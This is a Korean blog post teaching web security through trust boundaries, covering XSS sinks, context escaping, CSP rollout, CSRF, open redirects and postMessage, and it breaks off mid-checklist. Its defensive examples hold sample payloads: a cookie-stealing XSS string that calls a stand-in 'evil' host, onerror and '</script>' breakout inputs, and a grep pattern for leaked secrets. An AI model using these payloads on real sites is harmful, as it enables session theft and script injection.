웹 보안, 신뢰 경계부터 CSP까지

상시 위험 관리(continuous risk management) 차원에서 웹 보안을 점검하고 강화하는 일을 담당했습니다. DOM XSS sink를 훑어보고, CSP를 단계적으로 켜고, 컨텍스트별 이스케이프를 손보는 — 그런 일들을 실제 코드와 프로덕션 위에서 부딪혀 가며 했습니다.
그러다 보니 교과서 요약으로는 잘 안 잡히던 감각이 조금씩 손에 익었고, 무엇보다 보안을 보는 관점 하나가 생겼습니다. 웹 보안은 용어부터 낯설고 막연하지만, 막상 알고 보면 몇 개의 관점이면 충분히 꿸 수 있습니다. 이 글은 그 관점을 "신뢰 경계(trust boundary)"라는 한 축으로 풀어, 평소 막연하게만 알던 분도 규칙 암기가 아니라 관점으로 이해할 수 있게 정리한 것입니다.
겉으론 제각각인 웹 취약점들, 사실은 하나의 관점으로 꿸 수 있지 않을까요?
이 글에서 다루는 내용
이 글은 웹 서비스에서 가장 자주 문제가 되는 보안 개념들(XSS, 컨텍스트 이스케이프, CSP, CSRF, 오픈 리다이렉트, postMessage 등) — 많은 분이 막연하게만 알고 지나치는 것들 — 을 "신뢰 경계(trust boundary)"라는 하나의 축으로 꿰어 설명합니다. 처음 접하는 분도 따라올 수 있도록 최대한 직관적으로, 실무에서 실제로 중요했던 지점 위주로 풀어보겠습니다. 먼저 꼭 필요한 용어 몇 개부터 쉬운 말로 짚고 시작하겠습니다.
- 들어가기 전에 — 30초 큰 그림
- 1. 관점부터 바꾼 세 가지
- 2. XSS — 핵심 중의 핵심
- 3. 컨텍스트별 이스케이프 — "어디에 넣느냐"가 규칙을 정한다
- 4. CSP — XSS의 2차 방어선
- 5. 그 밖의 신뢰 경계들
- 6. 방법론 — 보안 패스를 도는 법
- 7. 재사용 가능한 웹 보안 리뷰 체크리스트
- 용어 사전
- References
들어가기 전에 — 30초 큰 그림
본론에 앞서, 딱 네 단어만 쉬운 말로 짚고 가겠습니다. 이것만 손에 쥐면 나머지는 자연스럽게 따라옵니다.
- 공격자 입력 (untrusted data) — 내가 만들지 않은, 바깥에서 들어온 데이터입니다. 사용자가 적은 글, URL에 붙은 파라미터, 외부 서비스의 응답처럼 "이거 누가 보냈는지 확실치 않은" 모든 것입니다.
- 싱크 (sink) — 그 데이터가 닿으면 위험한 일이 벌어지는 자리입니다. 예를 들어 문자열을 그대로 화면 HTML로 그리거나(
innerHTML), 코드로 실행하는(eval) 지점입니다. - 신뢰 경계 (trust boundary) — "믿을 수 없는 바깥"과 "믿는 안쪽(내 화면·서버·세션)" 사이의 선입니다. 공격자 입력이 이 선을 넘어 싱크에 닿을 때 사고가 납니다.
- 완화책(mitigation) vs 취약점(vulnerability) — 취약점은 실제 구멍이고, 완화책은 그 구멍이 뚫렸을 때를 대비한 그물입니다. (뒤에 나오는 CSP가 대표적인 그물입니다.)
자주 듣게 될 공격들도 한 줄로 먼저 깔아두겠습니다. 지금은 이름과 한 줄 느낌만 알아도 충분합니다 — 각각은 본문에서 자세히 다룹니다.
| 이름 | 한 줄로 말하면 |
|---|---|
| XSS | 내 페이지에서 공격자가 심은 스크립트가 실행되는 사고 |
| CSRF | 로그인된 내 브라우저가 나도 모르게 위조 요청을 보내는 사고 |
| 오픈 리다이렉트 | 우리 링크인 줄 알고 눌렀는데 외부 피싱 사이트로 튕기는 것 |
| 정보 노출 | 굳이 안 알려줘도 될 서버 정보가 응답에 새어 나가는 것 |
이 단어들을 쥐고, 제가 프로젝트 내내 사고의 토대로 삼았던 관점 세 가지부터 시작하겠습니다.
1. 관점부터 바꾼 세 가지
세부 취약점에 들어가기 전에, 프로젝트 내내 사고의 토대가 됐던 세 가지 관점을 먼저 공유합니다. 이 세 가지가 머리에 박히고 나니 나머지는 전부 그 위에 얹혔습니다.
1.1 "완화책(mitigation)"과 "취약점(vulnerability)"은 다른 레이어다
- CSP(Content-Security-Policy)는 XSS를 막는 그물이지, XSS 자체를 없애는 게 아닙니다. 진짜 취약점은 "공격자 입력이 코드나 DOM으로 흘러드는 지점", 즉 싱크(sink) 에 있습니다.
- 그래서 사고 흐름이 자연스럽게 이어집니다: CSP라는 완화책을 깐다 → "그럼 진짜 싱크는 어디지?" → DOM XSS 싱크 전수 감사.
- 핵심은 둘 다 필요하다는 것입니다. 싱크를 다 막아도 사람은 실수하니 CSP라는 2차 방어선을 깔고, CSP가 있어도 싱크를 안 막으면 (특히 뒤에서 볼
'unsafe-inline'이 남아 있는 동안엔) 그냥 뚫립니다.
1.2 보안은 결국 "신뢰 경계(trust boundary)"를 긋는 일
데이터가 신뢰할 수 없는 곳(사용자 입력, URL 파라미터, AI 생성물, 외부 iframe, 서드파티 스크립트)에서 신뢰하는 곳(DOM, 스크립트 실행, 관리자 화면, 세션)으로 넘어가는 그 선 — 그게 보안의 거의 전부입니다.
취약점이란 그 선을 넘을 때 검증·이스케이프·격리가 빠진 것입니다.
그래서 제 첫 질문은 항상 "이 데이터 어디서 왔어?" 가 됐습니다. 정적 상수면 안전하고, 외부에서 왔으면 일단 의심합니다.
1.3 "안전해 보인다" ≠ "안전하다" — 단정 말고 검증
이게 개인적으로 제일 크게 배운 점입니다. 프로젝트 중에 자신 있게 내린 판단이 검증으로 두 번이나 뒤집혔습니다.
- 어떤 렌더링 컴포넌트를 "공개 노출 최우선 위험"이라고 봤는데, 실제 데이터 흐름을 따라가 보니 구조화된 상태를 프로그래매틱하게 DOM으로 조립하는 방식이라 안전했습니다.
- 어떤 sanitize 라이브러리가 이미지의 특정 속성을 떼어낸다고 단정했는데, 라이브러리 소스를 직접 열어보니 이미 허용하고 있었습니다. 불필요한 작업을 할 뻔했습니다.
교훈은 이렇습니다.
겉보기에 위험해 보이는 코드는 "후보"일 뿐입니다. 실제 위험은 데이터 흐름·런타임·1차 소스를 따라가 확인해야 압니다. 보안에서 자신감 있는 추측은 그 자체가 리스크입니다.
Recap
보안을 볼 때 세 가지 렌즈를 끼웠습니다. ① 완화책(CSP 등)과 진짜 취약점(싱크)은 다른 레이어이며 둘 다 필요하다. ② 모든 문제는 신뢰 경계를 넘는 데이터에서 나오므로 "이 데이터 어디서 왔나"를 먼저 묻는다. ③ "안전해 보인다"는 가설일 뿐이고, 코드·런타임·1차 소스로 검증하기 전까지는 단정하지 않는다.
2. XSS — 핵심 중의 핵심
XSS(Cross-Site Scripting) 는 공격자가 만든 스크립트가 피해자의 브라우저에서 피해자 권한으로 실행되는 것입니다. 세션·토큰 탈취, 관리자 행위 위조 등으로 이어집니다. 프론트엔드가 가장 직접적으로 책임지는 영역이기도 합니다.
2.1 세 종류
- 저장형(Stored): 악성 입력이 서버에 저장됐다가 다른 사용자에게 렌더될 때 실행됩니다. 신뢰 경계를 넘어 남을 친다는 점에서 가장 위험합니다.
- 반사형(Reflected): URL 등으로 들어온 입력이 그 응답에 그대로 박혀 실행됩니다.
- DOM 기반(DOM-based): 서버를 거치지 않고 클라이언트 JS가 직접 DOM에 위험하게 써서 실행됩니다. ← 프론트엔드가 온전히 책임지는 영역입니다.
2.2 DOM XSS 싱크 (위험 진입점)
DOM 기반 XSS는 결국 "위험한 함수에 신뢰할 수 없는 문자열이 닿는" 문제입니다. 그 위험한 함수들 — 싱크(sink) — 를 알아두는 게 절반입니다.
dangerouslySetInnerHTML/.innerHTML/.outerHTML/insertAdjacentHTML— HTML 문자열을 그대로 DOM에 주입eval()/new Function()/ 문자열을 받는setTimeout/setInterval— 문자열을 코드로 실행document.write()<a href>나location에 들어가는javascript:URL
2.3 핵심 통찰 — "raw HTML"이냐 "구조화 데이터"냐
같은 dangerouslySetInnerHTML을 쓰더라도, 무엇을 넣느냐에 따라 위험이 완전히 갈립니다.
- 🔴 위험: 외부 문자열을 raw HTML 그대로 주입. 예를 들어 마크다운을 HTML로 변환하면서 allowlist 없이 통과시키면
<img src=x onerror=alert(1)>같은 입력이 그대로 실행됩니다. - 🟢 안전: 구조화된 상태 → 프로그래매틱 DOM 조립. 예를 들어 JSON 형태의 문서 상태를
createElement/createTextNode(텍스트는 자동 escape) / 제한된setAttribute로 직접 만들면, 텍스트는 이스케이프되고 이벤트 핸들러 속성은 애초에 붙지 않습니다.
즉 갈림길은 "HTML 문자열 자체를 신뢰하는가" 입니다. 같은 함수라도 raw HTML을 신뢰하면 위험, 구조화 데이터에서 조립하면 안전입니다.
아래는 같은 데이터를 위험하게 / 안전하게 다루는 대조 예시입니다.
// 🔴 위험 — 외부 문자열을 raw HTML로 그대로 주입
function Comment({ body }: { body: string }) {
// body가 사용자 입력이면 아래 한 줄이 그대로 스크립트를 실행시킨다:
// body = '<img src=x onerror="fetch(`//evil/?c=` + document.cookie)">'
return <div dangerouslySetInnerHTML={{ __html: body }} />;
}
// 🟢 안전 (1) — 그냥 텍스트로 렌더하면 React가 자동으로 escape 한다
function Comment({ body }: { body: string }) {
return <div>{body}</div>; // <, &, " 가 문자 그대로 출력됨 (실행 X)
}
// 🟢 안전 (2) — HTML이 꼭 필요하면 sanitize를 거친 뒤 주입
import DOMPurify from "dompurify";
function RichComment({ html }: { html: string }) {
const clean = DOMPurify.sanitize(html); // onerror·<script>·javascript: 제거
return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}
2.4 방어 — 신뢰하지 말고 sanitize 하거나 구조화하라
- 검증된 sanitizer를 씁니다. 업계 표준은 DOMPurify이고, whitelist 기반의 js-xss도 많이 씁니다. 직접 정규식으로
<script>를 지우려는 시도는 거의 항상 우회되니, 손수 구현하려 들기보다 검증된 도구를 쓰는 편이 안전합니다.
여기서 잠깐, 현대 프론트엔드에서 가장 흔히 마주치는 구체적인 사례 하나를 예로 들어 보겠습니다. 바로 마크다운 렌더링(블로그·댓글·위키 등)입니다 — 입력을 그대로 HTML로 바꾸는 자리라, sanitize를 빠뜨리기 가장 쉬운 지점이기도 합니다.
- 마크다운은
remark/rehype파이프라인에rehype-sanitize한 단계를 끼우면 됩니다. 흔한 실수는 여러 마크다운 렌더 경로 중 하나만 sanitize 단계를 빠뜨리는 것입니다. 같은 종류의 입력은 같은 파이프라인으로 모으는 게 안전합니다. rehype-sanitize의 기본 스키마(hast-util-sanitize의 GitHub식defaultSchema)는 이렇게 동작합니다.- 태그별 허용 속성과 전역
'*'허용 속성의 합집합으로 동작합니다. - 이벤트 핸들러(
onerror,onload등)와 위험한 scheme(javascript:)을 제거합니다. - 전역
'*'에width/height가 이미 있어서<img width height>는 스키마를 확장하지 않아도 보존됩니다. (제가 처음에 오해했던 부분입니다. 인자 없이rehypeSanitize()만 써도defaultSchema가 기본값입니다.)
- 태그별 허용 속성과 전역
// 마크다운 렌더 파이프라인엔 sanitize 한 단계를 '반드시' 끼운다
import { unified } from "unified";
import remarkParse from "remark-parse";
import remarkRehype from "remark-rehype";
import rehypeRaw from "rehype-raw";
import rehypeSanitize from "rehype-sanitize"; // ← 이 한 줄이 핵심 방어선
import rehypeStringify from "rehype-stringify";
const html = String(
await unified()
.use(remarkParse)
.use(remarkRehype, { allowDangerousHtml: true })
.use(rehypeRaw) // 원문 HTML까지 파싱
.use(rehypeSanitize) // defaultSchema: 이벤트핸들러·javascript: 제거
.use(rehypeStringify)
.process(markdown),
);
라이브러리가 무엇을 허용/제거하는지 궁금하면, 문서보다 소스의 스키마 정의를 보는 게 가장 빠르고 정확합니다. hast-util-sanitize라면 lib/schema.js에 전역 허용 속성이 그대로 적혀 있습니다.
Recap
XSS는 공격자의 스크립트를 피해자 권한으로 실행시키는 공격이고, 그중 DOM 기반 XSS가 프론트엔드의 직접 책임 영역입니다. innerHTML·eval 같은 싱크에 신뢰할 수 없는 데이터가 닿는지를 봅니다. 같은 싱크라도 raw HTML을 주입하면 위험하고 구조화 데이터에서 DOM을 조립하면 안전합니다. 방어는 직접 만들지 말고 DOMPurify·rehype-sanitize 같은 검증된 도구로 sanitize 하는 것입니다.
3. 컨텍스트별 이스케이프 — "어디에 넣느냐"가 규칙을 정한다
여기가 가장 미묘하고, 제가 제일 많이 배운 지점입니다. 같은 값이라도 들어가는 위치(context)마다 위험 문자와 이스케이프 방법이 다릅니다.
| 컨텍스트 | 위험 문자 | 이스케이프 |
|---|---|---|
| HTML 텍스트 노드 | < & | < & (또는 textContent 사용 = 자동) |
| HTML 속성값 | " ' < & | 엔티티 인코딩 |
<script> 안의 JS 문자열 | < / 그리고 줄·문단 구분자 | < 등 + 구분자 |
<script type="application/ld+json"> (JSON-LD) | < (</script> 로 태그 탈출) | < 등. 단, /는 불필요 — JSON으로 파싱되지 실행되지 않으므로 |
| URL | scheme(javascript:), // | scheme allowlist + 검증 |
3.1 사례 — JSON-LD breakout
SEO용 구조화 데이터를 넣을 때 흔한 패턴이 JSON.stringify(...) 결과를 <script type="application/ld+json"> 안에 인라인하는 것입니다. 그런데 JSON.stringify는 <를 이스케이프하지 않습니다. 그래서 제목 같은 동적 필드에 </script>가 들어오면 스크립트 태그가 닫혀버리고, 그 뒤로 <img onerror=...> 같은 마크업을 주입할 수 있게 됩니다.
// 🔴 위험 — JSON.stringify 결과를 그대로 <script>에 인라인
function StructuredData({ data }) {
return (
<script
type="application/ld+json"
// data.name 같은 동적 필드에 </script> 가 들어오면 태그가 닫혀버린다
dangerouslySetInnerHTML={{ __html: JSON.stringify(data) }}
/>
);
}
// 공격 입력: data.name = '</script><img src=x onerror=alert(1)>'
// 실제 렌더:
// <script type="application/ld+json">
// {"name":"</script><img src=x onerror=alert(1)>"}
// ↑ 여기서 스크립트 태그가 닫히고, 뒤의 <img>가 실행된다
// </script>
여기서 두 가지 함정을 배웠습니다.
함정 1 — 이스케이프는 반드시 직렬화 이후에.
입력을 먼저 유니코드 이스케이프로 바꾼 다음 JSON.stringify하면, stringify가 그 백슬래시를 다시 이스케이프(\ → \\)해서 값이 깨집니다. 이른바 이중 이스케이프(double escape)입니다. 머리로만 생각하면 놓치기 쉬워서, 직접 돌려보고서야 확인했습니다.
함정 2 — 표준 idiom은 "직렬화 결과에 단일 정규식 + lookup".
// JSON.stringify 결과에서 위험 문자만 \u 형태로 치환한다.
// 정적/구조 문자에는 < > & 가 없으므로, 사실상 동적 입력값만 건드린다.
const ESCAPE = { "&": "\\u0026", "<": "\\u003c", ">": "\\u003e" };
function escapeJsonForScript(obj) {
return JSON.stringify(obj).replace(/[&<>]/g, (c) => ESCAPE[c]);
}
// 앞의 공격 입력을 그대로 넣어 보면, 결과 JSON 속 모든 < 와 > 가
// 위 ESCAPE 맵의 유니코드 이스케이프 형태로 치환된다:
escapeJsonForScript({ name: "</script><img src=x onerror=alert(1)>" });
// 이렇게 되면 "</script>" 의 '<' 가 이스케이프돼 더 이상 스크립트를 닫는
// 태그로 인식되지 않는다. 뒤의 <img onerror> 도 그냥 데이터일 뿐 → 안전.
그런데 이 패턴이 정말 표준인지도 머리로 추측할 게 아니라, 실제 코드를 열어보면 분명해집니다. Next.js의 htmlEscapeJsonString 소스를 까보면 첫 줄에 zertosh/htmlescape 크레딧이 그대로 달려 있고(이 유틸은 Go encoding/json의 HTMLEscape에서 유래합니다), serialize-javascript도 동일한 형태입니다. 보안 규칙은 이렇게 프레임워크의 1차 소스를 직접 까보는 게 가장 확실합니다.
Recap
값을 어디에 넣느냐 — 텍스트 노드, 속성, <script>, JSON-LD, URL — 에 따라 위험 문자와 이스케이프가 달라집니다. 특히 JSON.stringify를 <script>에 인라인할 때 </script> 탈출이 가능하니 직렬화 결과의 <, >, &를 \u 형태로 치환해야 합니다. 그리고 이스케이프는 반드시 직렬화 이후에 — 순서를 바꾸면 이중 이스케이프로 값이 깨집니다.
4. CSP — XSS의 2차 방어선
CSP(Content-Security-Policy) 는 브라우저에게 "이 페이지에서 어떤 출처의 리소스만 허용하는지"를 선언하는 응답 헤더입니다. XSS가 터져도 인라인 스크립트 실행이나 외부 유출을 브라우저가 차단해 줍니다. 그래서 1차 방어(싱크 차단)가 뚫렸을 때를 위한 그물입니다.
4.1 directive — 리소스 종류별 allowlist
script-src(스크립트),style-src(CSS),img-src,font-src,connect-src(fetch/XHR/WS),media-src(video/audio),frame-src,frame-ancestors(X-Frame-Options를 대체),object-src 'none',base-uri 'self'…report-uri/report-to: 정책 위반을 어디로 보고할지.
# Report-Only — 차단 없이 위반만 수집 (정찰 단계). 실제 헤더는 한 줄이지만 가독성을 위해 줄바꿈
Content-Security-Policy-Report-Only:
default-src 'self';
script-src 'self' https://trusted.cdn.example;
img-src 'self' data: https:;
report-uri https://example.report-collector.com/csp;
# enforce — 같은 정책을 '실제로 차단'. 안정화되면 헤더 이름만 바꾼다
Content-Security-Policy:
default-src 'self';
script-src 'self' https://trusted.cdn.example;
img-src 'self' data: https:;
4.2 왜 한 번에 못 켜나 → Report-Only 점진 롤아웃
CSP를 갑자기 켜면 정당한 리소스까지 막혀 사이트가 깨집니다. 그래서 차단하기 전에 관측합니다. 이 방법론 자체가 CSP에서 배운 가장 값진 것이었습니다.
- 인벤토리: 페이지가 실제로 어떤 origin의 리소스를 쓰는지 조사하고, 헤더를 어느 레이어에서 붙일지(엣지냐 서버냐) 정합니다.
- Report-Only 적용:
Content-Security-Policy-Report-Only헤더로 아무것도 차단하지 않고 위반만 수집합니다. 수집은 Sentry 같은 곳으로 보냅니다. - 튜닝 루프: 실제 위반 리포트를 보고 정당한 origin만 allowlist에 추가합니다. 보통 여러 회차를 돕니다. 예를 들어 특정 동영상 CDN이
media-src에서 빠져 있던 갭이 이 단계에서 잡힙니다. - enforce 전환: 충분히 안정화되면 모드만 바꿔 실제 차단을 시작합니다.
Report-Only는 공짜 정찰입니다. "무엇이 깨지는지"를 프로덕션 트래픽으로, 사용자 피해 없이 미리 알아낸 뒤에 정책을 확정할 수 있습니다. 사실 CSP뿐 아니라 "조이는" 성격의 모든 변경에 적용할 수 있는 사고법입니다.
4.3 놓치기 쉬운 뉘앙스들
'unsafe-inline'이 남아 있으면 CSP의 XSS 방어는 사실상 비어 있습니다. 진짜 방어는 nonce +'strict-dynamic'부터입니다. 서버가 매 요청 인라인 스크립트에 1회용 nonce를 부여하고, nonce를 받은 스크립트가 로드한 스크립트로 신뢰가 전파(strict-dynamic)되면서 host allowlist 우회를 막습니다. 그 전까지 CSP는 "출처 제한"이지 "XSS 방어"가 아닙니다.style-src 'unsafe-inline'은 런타임 CSS-in-JS를 쓰면 불가피한 경우가 있습니다(빌드타임 추출로 옮기기 전까지는 그렇습니다).- 헤더를 동적으로 붙일 수 있는 레이어가 CSP의 소유권을 가집니다. 서버(애플리케이션) 레이어에서 붙이면 런타임 환경 변수로 모드·값을 제어할 수 있어 코드 변경 없이 튜닝·롤백이 됩니다. 반면 변조가 어려운 엣지 관리형 정책은 이 튜닝 루프에 불리합니다.
// 헤더를 '동적으로' 붙일 수 있는 레이어(서버)가 CSP의 소유권을 가진다.
// nonce는 매 요청 새로 발급하고, 모드는 env로 토글 → 코드 변경 없이 롤백 가능.
app.use((req, res, next) => {
const nonce = crypto.randomBytes(16).toString("base64");
res.locals.nonce = nonce; // 템플릿에서 <script nonce="..."> 로 사용
const header =
process.env.CSP_ENFORCE === "true"
? "Content-Security-Policy"
: "Content-Security-Policy-Report-Only"; // 평소엔 정찰 모드
res.setHeader(
header,
`script-src 'nonce-${nonce}' 'strict-dynamic'; object-src 'none'; base-uri 'self'`,
);
next();
});
Recap
CSP는 허용 출처를 선언해 XSS가 터졌을 때 피해를 줄이는 2차 방어선입니다. 한 번에 켜면 깨지므로 Report-Only로 위반만 수집 → 정당한 출처만 allowlist → enforce로 점진 전환하는 게 정석입니다. 다만 'unsafe-inline'이 남아 있으면 XSS 방어 효과는 거의 없고, nonce + 'strict-dynamic'으로 가야 진짜 방어가 시작됩니다.
5. 그 밖의 신뢰 경계들
XSS·CSP만큼 매일 보는 건 아니지만, 결국 전부 "신뢰 경계를 넘는 데이터"라는 하나의 관점으로 통하는 이야기들입니다.
5.1 CSRF와 쿠키 SameSite
CSRF(Cross-Site Request Forgery) 는 로그인된 사용자의 브라우저가 쿠키를 자동으로 실어 공격자 사이트가 만든 위조 요청을 보내게 하는 공격입니다. 방어의 핵심은 쿠키의 SameSite 속성입니다.
Strict: 크로스사이트 요청엔 쿠키를 보내지 않음 (가장 안전하지만 일부 UX가 깨짐).Lax: top-level 네비게이션엔 보내고 그 외 크로스사이트엔 안 보냄 (대체로 권장되는 균형).None: 항상 보냄 (Secure필수) — 의도적인 크로스사이트 공유에만.
# 🟢 세션·인증 쿠키 — 크로스사이트 위조 요청엔 안 실리도록
Set-Cookie: session=...; HttpOnly; Secure; SameSite=Lax; Path=/
# 🔴 SameSite 미지정 — 브라우저 기본값에 의존(불확실), CSRF 표면이 커진다
Set-Cookie: session=...
// Express 예시 — 새 쿠키엔 항상 보안 속성을 함께 준다
res.cookie("session", token, {
httpOnly: true, // document.cookie 로 못 읽음 → XSS 토큰 탈취 방어
secure: true, // HTTPS에서만 전송
sameSite: "lax", // 크로스사이트 요청엔 안 보냄 → CSRF 방어
});
여기서 마주한 현실적인 어려움은 쿠키를 굽는(set) 주체가 코드 곳곳에 흩어져 있다는 점이었습니다. 앱의 훅, 태그 매니저, 외부 SDK, 서비스 레이어가 제각기 쿠키를 쓰면, SameSite를 일관되게 적용하려면 그 writer들을 전수로 추적해야 합니다.
5.2 불필요한 응답 헤더로 인한 정보 노출
X-Powered-By, Server 같은 헤더는 서버 기술 스택과 버전을 노출해서, 공격자가 알려진 취약점을 노리기 쉽게 만듭니다. app.disable("x-powered-by") 같은 최소 변경으로 제거합니다. 작지만 "공격 표면 줄이기"의 기본이고, 보안 점검 항목에도 자주 들어갑니다.
// Express는 기본적으로 응답에 X-Powered-By: Express 를 노출한다 → 끈다
app.disable("x-powered-by");
5.3 서드파티 스크립트와 공급망
태그 매니저(예: GTM) 컨테이너는 사실상 "임의 JS 주입구" 입니다. 컨테이너가 탈취되거나 잘못 설정되면, 그게 로드되는 모든 페이지에서 임의 스크립트가 실행됩니다 — 전역 XSS나 다름없습니다. 특히 로그인·인사평가 같은 민감 페이지에 광고·분석 태그가 붙어 있으면 프라이버시·XSS 표면이 됩니다. 로그인·결제처럼 민감한 페이지에서는 불필요하거나 이미 종료된 태그를 정리하는 게 정공법입니다. 이건 CSP의 script-src allowlist와도 직결됩니다 — 와일드카드 허용은 신뢰 집합을 키웁니다.
5.4 오픈 리다이렉트
window.location = 사용자입력 형태로 ?next=, redirect_uri= 같은 파라미터를 검증 없이 따라가면, 우리 도메인 링크처럼 보이지만 외부로 튕기는 피싱이 됩니다. 방어는 allowlist 검증입니다(허용되지 않은 목적지는 거부). 신뢰하는 백엔드가 내려주는 redirect나 정적 상수 redirect는 위험이 아닙니다. 기준은 언제나 "사용자가 그 값을 좌우할 수 있는가" 입니다.
// 🔴 위험 — 사용자가 준 next 를 그대로 따라간다 (오픈 리다이렉트)
const next = new URLSearchParams(location.search).get("next");
location.href = next; // next="https://evil.example/login" → 외부 피싱으로 튕김
// 🟢 안전 — 같은 출처의 '경로'만 허용 (절대 URL·프로토콜 변경 차단)
function safeNext(raw: string | null): string {
if (!raw) return "/";
try {
const url = new URL(raw, location.origin); // 상대경로는 현재 origin 기준 파싱
return url.origin === location.origin ? url.pathname + url.search : "/";
} catch {
return "/";
}
}
location.href = safeNext(next); // "//evil.com" · 백슬래시 · 인코딩 우회 모두 "/" 로 떨어짐
validateNextUrl() 같은 검증 함수가 있다고 끝이 아닙니다. //evil.com, 백슬래시, 인코딩 우회에 견고한지는 별도로 점검해야 합니다.
5.5 창 간 통신 — postMessage
window.addEventListener("message", ...)로 다른 origin의 창·iframe이 보낸 메시지를 받을 때, 검증 없이 event.data로 행동하면 아무나 메시지를 위조할 수 있습니다. 방어는 두 가지입니다.
event.origin을 기대하는 origin과 비교한다.- 특정 iframe과의 통신이면
event.source === iframeRef.current.contentWindow로 그 창에 핀(pin) 하는 게 더 견고하다.
// 🔴 위험 — 보낸 사람을 확인하지 않고 메시지대로 행동
window.addEventListener("message", (e) => {
// 어떤 사이트든 e.data 를 위조해 보낼 수 있다
if (e.data?.type === "SET_TOKEN") setToken(e.data.token);
});
// 🟢 안전 — origin(+ 가능하면 source)을 먼저 검증
const ALLOWED_ORIGIN = "https://trusted.example";
window.addEventListener("message", (e) => {
if (e.origin !== ALLOWED_ORIGIN) return; // 1) 보낸 origin 확인
if (e.source !== iframeRef.current?.contentWindow) return; // 2) 그 창인지 핀
if (e.data?.type === "SET_TOKEN") setToken(e.data.token);
});
반대로 origin 검증이 필요 없는 경우를 구분하는 것도 중요합니다(괜한 노이즈 방지). BroadcastChannel, 서비스 워커 메시지, MSW 등은 동일 출처가 보장되므로 origin 체크 대상이 아닙니다. 저도 처음엔 메시지 수신부를 모조리 의심하고 들여다봤는데, 이들이 동일 출처라는 걸 알고 나서 점검 범위를 크게 줄일 수 있었습니다.
신뢰할 수 없는 코드(예: LLM 생성물)를 다룬다면 iframe 샌드박싱이 좋은 예입니다. sandbox="allow-scripts ..." + Permissions-Policy(카메라·마이크·위치·결제 등 차단) + 별도 origin의 이중 iframe으로 격리해, 신뢰 경계를 구조로 강제합니다.
5.6 시크릿 vs "공개로 설계된 키"
- 진짜 시크릿(서버 비밀키, DB 비밀번호, 비공개 토큰)은 절대 FE 번들·소스에 들어가면 안 됩니다. 고신뢰 포맷으로 grep 하면 잘 잡힙니다: AWS
AKIA…, GCPAIza…,-----BEGIN PRIVATE KEY-----, JWTeyJ…등. - 공개로 설계된 키도 있습니다. 예를 들어 Google Maps 브라우저 API 키는 클라이언트로 내려가야 동작하므로, 하드코딩이 곧 "유출"은 아닙니다. 이 경우 통제는 비밀로 두는 게 아니라 제공자 콘솔에서 HTTP 리퍼러 제한 + API 제한으로 합니다.
# 진짜 시크릿이 번들/소스에 들어갔는지 '고신뢰 포맷'으로 grep
grep -rEn \
-e 'AKIA[0-9A-Z]{16}' \
-e 'AIza[0-9A-Za-z_-]{35}' \
-e 'BEGIN (RSA |EC )?PRIVATE KEY' \
-e 'eyJ[A-Za-z0-9_-]{10,}' \
src/
교훈: "키가 코드에 있다 = 취약"이 아니라, 그 키가 비밀이어야 하는 종류인가를 먼저 판단해야 합니다.
5.7 reverse tabnabbing (요즘은 거의 비이슈)
target="_blank"로 열린 페이지가 window.opener로 원래 탭을 조작해 피싱하는 공격입니다. 방어는 rel="noopener noreferrer". 다만 현대 브라우저는 target="_blank"에 noopener를 자동 적용(2021년경부터)해서 사실상 비이슈입니다. 그래도 react/jsx-no-target-blank 같은 린트로 막아두면 좋습니다.
<!-- 🟢 외부 링크는 명시적으로 opener 차단 (구형 브라우저까지 안전) -->
<a href="https://external.example" target="_blank" rel="noopener noreferrer">열기</a>
Recap
CSRF는 SameSite 쿠키로, 정보 노출은 불필요한 헤더 제거로, 서드파티 스크립트는 인벤토리 정리와 CSP allowlist로, 오픈 리다이렉트는 목적지 allowlist로, postMessage는 origin/source 검증으로 막습니다. 시크릿은 "비밀이어야 하는 종류인지"를 먼저 가리고, reverse tabnabbing은 현대 브라우저가 대부분 알아서 막아줍니다. 전부 "신뢰할 수 없는 데이터/출처가 어디로 넘어가는가"라는 같은 질문의 변주입니다.
6. 방법론 — 보안 패스를 도는 법
개별 취약점만큼이나 "어떻게 훑느냐"가 중요했습니다. 재사용 가능한 사고법으로 정리합니다.
- 점진 롤아웃(Report-Only 패턴): 보안 변경은 깨질 수 있으니 차단 전에 관측합니다. 위반을 수집 → 정당한 것만 허용 → 안정화 후 enforce. CSP 말고도 "조이는" 변경 전반에 통합니다.
- 싱크부터 역추적(taint 사고): "이 위험한 함수에 신뢰할 수 없는 데이터가 닿는가?"를 따라갑니다. 싱크 후보를 grep으로 전수 모으고, 각 후보를 데이터 출처로 트리아지합니다 — (a) 정적 상수면 안전, (b) 서버·URL·사용자·AI 입력인데 sanitize가 없으면 위험.
- 심각도 = "싱크가 뚫렸는가" × "도달 가능한가(reachability)": 코드가 이론상 위험한 것과, 지금 실제로 익스플로잇되는 것은 다릅니다. 싱크가 뚫렸어도 그 입력이 공격자 영향 하에 있고 다른 사용자에게 렌더되는지에 따라 심각도가 갈립니다. 둘을 분리해서 말해야 과대·과소평가를 피합니다.
- 검증의 규율(이게 제일 큽니다):
- 1차 소스로 확인 — 라이브러리 동작이 궁금하면 그 라이브러리 소스를 봅니다.
- 런타임으로 확인 — 이스케이프·sanitize는 실제로 돌려서 입출력과 round-trip을 봅니다. (이중 이스케이프 함정을 이렇게 잡았습니다.)
- 회귀 테스트로 박제 — 고친 보안 동작은 테스트로 남깁니다(
onerror제거됨,</script>탈출 안 됨 등). 누가 sanitize 단계를 지워도 바로 잡히도록 합니다. - 틀리면 즉시 정정 — 덮지 말고 기록으로 남깁니다. 보안에선 자존심보다 정확성입니다.
- 노이즈 거르기: grep은 후보를 과대 생산합니다.
document.write로 검색된 결과는 대부분document.writer(작성자)와 관련된 오탐이고,target="_blank"는 브라우저가 자동 방어하며,postMessage다수는 동일 출처(BroadcastChannel/SW)입니다. 무엇이 진짜 신뢰 경계를 넘는지로 빠르게 쳐내는 게 핵심 스킬입니다.
Recap
보안 패스는 ① Report-Only로 관측 후 점진 적용, ② 싱크에서 데이터 출처로 역추적, ③ 심각도를 "싱크가 뚫렸는지 × 도달 가능성"으로 분리 평가, ④ 1차 소스·런타임·회귀 테스트로 검증, ⑤ grep 오탐을 신뢰 경계 기준으로 거르기 — 이 다섯 가지 사고법으로 돌았습니다.
7. 재사용 가능한 웹 보안 리뷰 체크리스트
새 코드나 PR을 볼 때 빠르게 훑는 용도로 정리해 둡니다.
- HTML 주입:
dangerouslySetInnerHTML/innerHTML있나? 넣는 값이 외부 출처면 sanitize(DOMPurify / js-xss /rehype-sanitize)를 거치나? raw HTML인가 구조화 데이터인가? - 코드 실행:
eval/new Function/ 문자열을 받는setTimeout없나? - 컨텍스트 이스케이프: 값을
